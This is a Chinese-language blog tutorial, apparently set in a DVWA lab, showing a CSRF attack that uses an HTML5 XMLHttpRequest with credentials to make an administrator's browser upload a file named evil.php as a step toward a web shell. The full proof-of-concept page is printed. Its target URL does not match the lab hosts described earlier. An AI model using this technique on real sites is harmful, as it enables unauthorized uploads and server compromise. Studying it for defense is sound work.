看到一些XSS+CSRF上传的漏洞,这次就学习了一下HTML5的一些新特性,用JavaScript实现了文件上传。攻击者可以向管理员发送一个钓鱼页面,管理员只要打开了这个页面,并且当前浏览器保存了后台的会话信息,那么就有可能实现getshell。
1.1 软件环境
Chrome浏览器
DVWA-1.9漏洞测试平台
wamp3.0集成环境
1.2 host文件与虚拟目录配置
修改host文件,添加dvwa.me与hey.me指向本机
设置dvwa.me虚拟主机指向WEB_ROOT/dvwa
设置hey.me虚拟主机指向WEB_ROOT
二、利用详解
2.1 html源码
<html> <head> <title>0dayhack漏洞测试</title> </head> <body> <form id="myForm" method="POST" name="myForm" action="ajax.php"> <button id="submit_btn" type="button">Upload</button> </form> <script type="text/javascript"> function btnClick(){ document.getElementById("submit_btn").onclick=function(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.withCredentials = true; var url = "https://www.0dayhack.com/"; var formdata = new FormData(); var filedata = new Blob(['This is evil txt'], {type: 'image/jpeg'}); formdata.append("Upload","Upload"); formdata.append("uploaded",filedata,"evil.php"); xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200){ console.log(xmlhttp.responseText); } } xmlhttp.open("POST",url,true); xmlhttp.send(formdata); } } btnClick(); </script> </body> </html>
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论